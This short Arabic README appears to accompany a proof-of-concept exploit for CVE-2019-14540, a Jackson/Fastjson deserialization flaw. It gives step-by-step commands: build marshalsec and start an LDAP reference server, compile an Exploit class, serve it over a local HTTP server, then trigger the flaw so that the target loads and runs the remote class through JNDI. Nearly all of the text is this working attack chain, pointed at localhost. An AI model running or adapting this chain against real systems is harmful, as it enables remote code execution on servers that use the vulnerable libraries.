استغلال CVE-2019-14540

http://www.leadroyal.cn/?p=939

القيود البيئية: نظرًا لأن هذا العرض التوضيحي يستخدم أسلوب استغلال JNDI عبر LDAP، فيجب استخدام إصدار منخفض من JDK (أقل من 8u191).

1. استخدام marshalsec لإنشاء خدمة LDAP على المنفذ المحلي 1389، تشير إلى خدمة HTTP المحلية على المنفذ 8000

git clone https://github.com/mbechler/marshalsec.git
mvn package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 1389

2. تجميع الكود المطلوب تحميله عن بُعد في مجلد remote_codebase

cd remote_codebase
javac Exploit.java

3. تشغيل خدمة HTTP على المنفذ المحلي 8000 من مجلد remote_codebase

cd remote_codebase
python -m SimpleHTTPServer

4. تشغيل Main.java لتحفيز الثغرة باستخدام إلغاء تسلسل Jackson و Fastjson